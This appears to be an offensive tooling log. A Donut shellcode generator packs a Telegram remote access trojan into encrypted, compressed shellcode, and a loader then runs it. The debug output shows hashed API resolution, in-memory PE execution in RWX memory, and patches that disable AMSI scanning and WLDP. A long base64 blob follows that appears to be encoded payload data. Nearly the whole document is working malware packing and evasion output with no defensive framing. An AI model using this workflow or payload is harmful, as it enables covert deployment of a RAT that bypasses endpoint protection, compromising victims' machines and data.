Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters
payload for donut packing is https://github.com/Bainky/Telegram-RAT
donut packer output:
> ./donut ../RAT.exe -z 2 -a 2
[ Donut shellcode generator v0.9.3
[ Copyright (c) 2019 TheWover, Odzhan
DEBUG: donut.c:1524:DonutCreate(): Entering.
DEBUG: donut.c:1302:validate_loader_cfg(): Validating loader configuration.
DEBUG: donut.c:1399:validate_loader_cfg(): Loader configuration passed validation.
DEBUG: donut.c:463:read_file_info(): Entering.
DEBUG: donut.c:471:read_file_info(): Checking extension of ../RAT.exe
DEBUG: donut.c:479:read_file_info(): Extension is ".exe"
DEBUG: donut.c:495:read_file_info(): File is EXE
DEBUG: donut.c:507:read_file_info(): Mapping ../RAT.exe into memory
DEBUG: donut.c:249:map_file(): Entering.
DEBUG: donut.c:535:read_file_info(): Checking characteristics
DEBUG: donut.c:594:read_file_info(): Leaving with error : 0
DEBUG: donut.c:1465:validate_file_cfg(): Validating configuration for input file.
DEBUG: donut.c:1507:validate_file_cfg(): Validation passed.
DEBUG: donut.c:686:build_module(): Entering.
DEBUG: donut.c:418:compress_file(): Obtaining size of compressed data from aP_max_packed_size() and allocating memory
DEBUG: donut.c:421:compress_file(): Obtaining size of work memory from aP_workmem_size() and allocating memory
DEBUG: donut.c:424:compress_file(): Compressing with aP_pack()
DEBUG: donut.c:437:compress_file(): Original file size : 10427032 | Compressed : 11186214
DEBUG: donut.c:438:compress_file(): File size reduced by -7%
DEBUG: donut.c:440:compress_file(): Leaving with error : 0
DEBUG: donut.c:696:build_module(): Assigning 11186214 bytes of 0000000002FFB040 to data
DEBUG: donut.c:707:build_module(): Allocating 11187542 bytes of memory for DONUT_MODULE
DEBUG: donut.c:791:build_module(): Copying data to module
DEBUG: donut.c:803:build_module(): Leaving with error : 0
DEBUG: donut.c:823:build_instance(): Entering.
DEBUG: donut.c:826:build_instance(): Allocating memory for instance
DEBUG: donut.c:832:build_instance(): The size of module is 11187542 bytes. Adding to size of instance.
DEBUG: donut.c:836:build_instance(): Total length of instance : 11191206
DEBUG: donut.c:865:build_instance(): Generating random key for instance
DEBUG: donut.c:874:build_instance(): Generating random key for module
DEBUG: donut.c:883:build_instance(): Generating random string to verify decryption
DEBUG: donut.c:890:build_instance(): Generating random IV for Maru hash
DEBUG: donut.c:898:build_instance(): Generating hashes for API using IV: 1E35DEBF43481C54
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : LoadLibraryA = E8AC7F210E1F3F02
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : GetProcAddress = F3D8D921EC9A99AE
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : GetModuleHandleA = A1C1B8D40C5706FA
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : VirtualAlloc = 547D4F71D05AAC11
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : VirtualFree = 6C2202BC71983B48
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : VirtualQuery = C985925B339C8547
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : VirtualProtect = 793261908369FEF9
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : Sleep = 506C0B111E3E5106
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : MultiByteToWideChar = 3AA2C9F3C392B9C7
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : GetUserDefaultLCID = F1955B6B856F4875
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : WaitForSingleObject = D57291392B24DA7E
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : CreateThread = 04754BC89B15FB64
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : GetThreadContext = F08B5F1EFC304674
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : GetCurrentThread = C3FE24D4973217EA
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : GetCommandLineA = B24A59A4593B1474
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : GetCommandLineW = 07A3D1D11394BDC1
DEBUG: donut.c:908:build_instance(): Hash for shell32.dll : CommandLineToArgvW = 18DFC06FDA034FA9
DEBUG: donut.c:908:build_instance(): Hash for oleaut32.dll : SafeArrayCreate = 3989712459149DD1
DEBUG: donut.c:908:build_instance(): Hash for oleaut32.dll : SafeArrayCreateVector = E3DA5474C1F9786A
DEBUG: donut.c:908:build_instance(): Hash for oleaut32.dll : SafeArrayPutElement = E37091A9E24CFCDC
DEBUG: donut.c:908:build_instance(): Hash for oleaut32.dll : SafeArrayDestroy = 7152E58C758CC7BB
DEBUG: donut.c:908:build_instance(): Hash for oleaut32.dll : SafeArrayGetLBound = B921C572CE95BD2E
DEBUG: donut.c:908:build_instance(): Hash for oleaut32.dll : SafeArrayGetUBound = 2E288705E20BC70A
DEBUG: donut.c:908:build_instance(): Hash for oleaut32.dll : SysAllocString = 9F2002085FF2118E
DEBUG: donut.c:908:build_instance(): Hash for oleaut32.dll : SysFreeString = 65422B5218EA3A36
DEBUG: donut.c:908:build_instance(): Hash for oleaut32.dll : LoadTypeLib = CEE8C545CA921CBC
DEBUG: donut.c:908:build_instance(): Hash for wininet.dll : InternetCrackUrlA = 7C1CBEF755E8AC62
DEBUG: donut.c:908:build_instance(): Hash for wininet.dll : InternetOpenA = DEEE0DFDAF0357C2
DEBUG: donut.c:908:build_instance(): Hash for wininet.dll : InternetConnectA = F36588018B2DA340
DEBUG: donut.c:908:build_instance(): Hash for wininet.dll : InternetSetOptionA = 6941870AF405F087
DEBUG: donut.c:908:build_instance(): Hash for wininet.dll : InternetReadFile = 75B697D47EC2E2A4
DEBUG: donut.c:908:build_instance(): Hash for wininet.dll : InternetCloseHandle = 2E2C45066474D7B1
DEBUG: donut.c:908:build_instance(): Hash for wininet.dll : HttpOpenRequestA = 5DBCA114B30F8B7D
DEBUG: donut.c:908:build_instance(): Hash for wininet.dll : HttpSendRequestA = D774FACDE4A306E3
DEBUG: donut.c:908:build_instance(): Hash for wininet.dll : HttpQueryInfoA = C734C3BFE0C1CFAA
DEBUG: donut.c:908:build_instance(): Hash for mscoree.dll : CorBindToRuntime = 2A175920C9FFC9A3
DEBUG: donut.c:908:build_instance(): Hash for mscoree.dll : CLRCreateInstance = 3158CDE8204EFF16
DEBUG: donut.c:908:build_instance(): Hash for ole32.dll : CoInitializeEx = 28B3A3344199600D
DEBUG: donut.c:908:build_instance(): Hash for ole32.dll : CoCreateInstance = A611759871C9F601
DEBUG: donut.c:908:build_instance(): Hash for ole32.dll : CoUninitialize = 5B1A6976AE5B4434
DEBUG: donut.c:908:build_instance(): Hash for ntdll.dll : RtlEqualUnicodeString = 477C39DDD389C87B
DEBUG: donut.c:908:build_instance(): Hash for ntdll.dll : RtlEqualString = 6465C074060B0A12
DEBUG: donut.c:908:build_instance(): Hash for ntdll.dll : RtlUnicodeStringToAnsiString = CBBCEB0A63FE8513
DEBUG: donut.c:908:build_instance(): Hash for ntdll.dll : RtlInitUnicodeString = E6924A3D8953ACB3
DEBUG: donut.c:908:build_instance(): Hash for ntdll.dll : RtlExitUserThread = D27B847A7B4D4B01
DEBUG: donut.c:908:build_instance(): Hash for ntdll.dll : RtlExitUserProcess = 0D800A5ABA2B6736
DEBUG: donut.c:908:build_instance(): Hash for ntdll.dll : RtlCreateUnicodeString = A750E98D47D929A0
DEBUG: donut.c:908:build_instance(): Hash for ntdll.dll : RtlGetCompressionWorkSpaceSize = AF90E8B956988F2C
DEBUG: donut.c:908:build_instance(): Hash for ntdll.dll : RtlDecompressBuffer = EDFFACCF6C51AC60
DEBUG: donut.c:908:build_instance(): Hash for ntdll.dll : NtContinue = 265A5A25D91D20DB
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : AddVectoredExceptionHandler = 23DD80D2D39E2D05
DEBUG: donut.c:908:build_instance(): Hash for kernel32.dll : RemoveVectoredExceptionHandler = BDE1BA95D22E7EA0
DEBUG: donut.c:914:build_instance(): Setting number of API to 52
DEBUG: donut.c:917:build_instance(): Setting DLL names to ole32;oleaut32;wininet;mscoree;shell32
DEBUG: donut.c:960:build_instance(): Copying strings required to bypass AMSI
DEBUG: donut.c:968:build_instance(): Copying strings required to bypass WLDP
DEBUG: donut.c:1037:build_instance(): Copying module data to instance
DEBUG: donut.c:1043:build_instance(): Encrypting instance
DEBUG: donut.c:1061:build_instance(): Leaving with error : 0
DEBUG: donut.c:1229:build_loader(): Inserting opcodes
DEBUG: donut.c:1258:build_loader(): Copying 22192 bytes of amd64 shellcode
DEBUG: donut.c:1109:save_loader(): Saving instance 00000000046E2040 to file. 11191206 bytes.
DEBUG: donut.c:1080:save_file(): Entering.
DEBUG: donut.c:1084:save_file(): Writing 11191206 bytes of 00000000046E2040 to instance
DEBUG: donut.c:1089:save_file(): Leaving with error : 0
DEBUG: donut.c:1158:save_loader(): Saving loader as binary
DEBUG: donut.c:1191:save_loader(): Leaving with error : 0
DEBUG: donut.c:1559:DonutCreate(): Leaving with error : 0
[ Instance type : Embedded
[ Module file : "../RAT.exe"
[ Entropy : Random names + Encryption
[ Compressed : aPLib (Reduced by -7%)
[ File type : EXE
[ Target CPU : amd64
[ AMSI/WDLP : continue
[ Shellcode : "loader.bin"
DEBUG: donut.c:1575:DonutDelete(): Entering.
DEBUG: donut.c:1581:DonutDelete(): Releasing memory for module.
DEBUG: donut.c:1587:DonutDelete(): Releasing memory for configuration.
DEBUG: donut.c:1593:DonutDelete(): Releasing memory for loader.
DEBUG: donut.c:293:unmap_file(): Releasing compressed data.
DEBUG: donut.c:298:unmap_file(): Unmapping input file.
DEBUG: donut.c:303:unmap_file(): Closing input file.
DEBUG: donut.c:1599:DonutDelete(): Leaving.
loader64 output:
> .\loader64.exe instance
Running...
DEBUG: loader/loader.c:109:MainProc(): Maru IV : 1E35DEBF43481C54
DEBUG: loader/loader.c:112:MainProc(): Resolving address for VirtualAlloc() : 547D4F71D05AAC11
DEBUG: loader/loader.c:116:MainProc(): Resolving address for VirtualFree() : 6C2202BC71983B48
DEBUG: loader/loader.c:120:MainProc(): Resolving address for RtlExitUserProcess() : D800A5ABA2B6736
DEBUG: loader/loader.c:128:MainProc(): VirtualAlloc : 00007FF9F5658500 VirtualFree : 00007FF9F565A130
DEBUG: loader/loader.c:131:MainProc(): Allocating 11191206 bytes of RW memory
DEBUG: loader/loader.c:143:MainProc(): Copying 11191206 bytes of data to memory 0000000003090000
DEBUG: loader/loader.c:147:MainProc(): Zero initializing PDONUT_ASSEMBLY
DEBUG: loader/loader.c:156:MainProc(): Decrypting 11191206 bytes of instance
DEBUG: loader/loader.c:163:MainProc(): Generating hash to verify decryption
DEBUG: loader/loader.c:165:MainProc(): Instance : E4A3BBF6A5F99FD6 | Result : E4A3BBF6A5F99FD6
DEBUG: loader/loader.c:172:MainProc(): Resolving LoadLibraryA
DEBUG: loader/loader.c:189:MainProc(): Loading ole32
DEBUG: loader/loader.c:189:MainProc(): Loading oleaut32
DEBUG: loader/loader.c:189:MainProc(): Loading wininet
DEBUG: loader/loader.c:189:MainProc(): Loading mscoree
DEBUG: loader/loader.c:189:MainProc(): Loading shell32
DEBUG: loader/loader.c:193:MainProc(): Resolving 52 API
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for F3D8D921EC9A99AE
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for A1C1B8D40C5706FA
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 547D4F71D05AAC11
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 6C2202BC71983B48
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for C985925B339C8547
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 793261908369FEF9
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 506C0B111E3E5106
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 3AA2C9F3C392B9C7
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for F1955B6B856F4875
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for D57291392B24DA7E
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 04754BC89B15FB64
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for F08B5F1EFC304674
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for C3FE24D4973217EA
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for B24A59A4593B1474
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 07A3D1D11394BDC1
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 18DFC06FDA034FA9
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 3989712459149DD1
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for E3DA5474C1F9786A
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for E37091A9E24CFCDC
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 7152E58C758CC7BB
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for B921C572CE95BD2E
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 2E288705E20BC70A
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 9F2002085FF2118E
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 65422B5218EA3A36
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for CEE8C545CA921CBC
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 7C1CBEF755E8AC62
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for DEEE0DFDAF0357C2
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for F36588018B2DA340
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 6941870AF405F087
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 75B697D47EC2E2A4
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 2E2C45066474D7B1
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 5DBCA114B30F8B7D
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for D774FACDE4A306E3
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for C734C3BFE0C1CFAA
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 2A175920C9FFC9A3
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 3158CDE8204EFF16
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 28B3A3344199600D
DEBUG: loader/peb.c:86:FindExport(): 28b3a3344199600d is forwarded to api-ms-win-core-com-l1-1-0.CoInitializeEx
DEBUG: loader/peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll
DEBUG: loader/peb.c:114:FindExport(): Calling GetProcAddress(CoInitializeEx)
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for A611759871C9F601
DEBUG: loader/peb.c:86:FindExport(): a611759871c9f601 is forwarded to api-ms-win-core-com-l1-1-0.CoCreateInstance
DEBUG: loader/peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll
DEBUG: loader/peb.c:114:FindExport(): Calling GetProcAddress(CoCreateInstance)
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 5B1A6976AE5B4434
DEBUG: loader/peb.c:86:FindExport(): 5b1a6976ae5b4434 is forwarded to api-ms-win-core-com-l1-1-0.CoUninitialize
DEBUG: loader/peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll
DEBUG: loader/peb.c:114:FindExport(): Calling GetProcAddress(CoUninitialize)
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 477C39DDD389C87B
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 6465C074060B0A12
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for CBBCEB0A63FE8513
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for E6924A3D8953ACB3
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for D27B847A7B4D4B01
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 0D800A5ABA2B6736
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for A750E98D47D929A0
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for AF90E8B956988F2C
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for EDFFACCF6C51AC60
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 265A5A25D91D20DB
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 23DD80D2D39E2D05
DEBUG: loader/peb.c:86:FindExport(): 23dd80d2d39e2d05 is forwarded to NTDLL.RtlAddVectoredExceptionHandler
DEBUG: loader/peb.c:110:FindExport(): Trying to load NTDLL.dll
DEBUG: loader/peb.c:114:FindExport(): Calling GetProcAddress(RtlAddVectoredExceptionHandler)
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for BDE1BA95D22E7EA0
DEBUG: loader/peb.c:86:FindExport(): bde1ba95d22e7ea0 is forwarded to NTDLL.RtlRemoveVectoredExceptionHandler
DEBUG: loader/peb.c:110:FindExport(): Trying to load NTDLL.dll
DEBUG: loader/peb.c:114:FindExport(): Calling GetProcAddress(RtlRemoveVectoredExceptionHandler)
DEBUG: loader/loader.c:218:MainProc(): Module is embedded.
DEBUG: loader/bypass.c:112:DisableAMSI(): Length of AmsiScanBufferStub is 37 bytes.
DEBUG: loader/bypass.c:122:DisableAMSI(): Overwriting AmsiScanBuffer
DEBUG: loader/bypass.c:137:DisableAMSI(): Length of AmsiScanStringStub is 37 bytes.
DEBUG: loader/bypass.c:147:DisableAMSI(): Overwriting AmsiScanString
DEBUG: loader/loader.c:226:MainProc(): DisableAMSI OK
DEBUG: loader/bypass.c:326:DisableWLDP(): Length of WldpQueryDynamicCodeTrustStub is 23 bytes.
DEBUG: loader/bypass.c:350:DisableWLDP(): Length of WldpIsClassInApprovedListStub is 37 bytes.
DEBUG: loader/loader.c:232:MainProc(): DisableWLDP OK
DEBUG: loader/loader.c:239:MainProc(): Compression engine is 2
DEBUG: loader/loader.c:241:MainProc(): Allocating 10428360 bytes of memory for decompressed file and module information
DEBUG: loader/loader.c:252:MainProc(): Duplicating DONUT_MODULE
DEBUG: loader/loader.c:256:MainProc(): Decompressing 11186214 -> 10427032
DEBUG: loader/loader.c:294:MainProc(): Decompressing with aPLib
DEBUG: loader/loader.c:296:MainProc(): Done
DEBUG: loader/loader.c:302:MainProc(): Checking type of module
DEBUG: loader/inmem_pe.c:102:RunPE(): Allocating 376832 (0x5c000) bytes of RWX memory for file
DEBUG: loader/inmem_pe.c:112:RunPE(): Copying `Headers`
DEBUG: loader/inmem_pe.c:115:RunPE(): Copying each section to RWX memory 00000000006A0000
DEBUG: loader/inmem_pe.c:127:RunPE(): Applying Relocations
DEBUG: loader/inmem_pe.c:151:RunPE(): Processing the Import Table
DEBUG: loader/inmem_pe.c:159:RunPE(): Loading USER32.dll
DEBUG: loader/inmem_pe.c:159:RunPE(): Loading COMCTL32.dll
DEBUG: loader/inmem_pe.c:159:RunPE(): Loading KERNEL32.dll
DEBUG: loader/inmem_pe.c:159:RunPE(): Loading ADVAPI32.dll
DEBUG: loader/inmem_pe.c:159:RunPE(): Loading GDI32.dll
DEBUG: loader/inmem_pe.c:323:RunPE(): Wiping Headers from memory
DEBUG: loader/inmem_pe.c:342:RunPE(): Executing entrypoint
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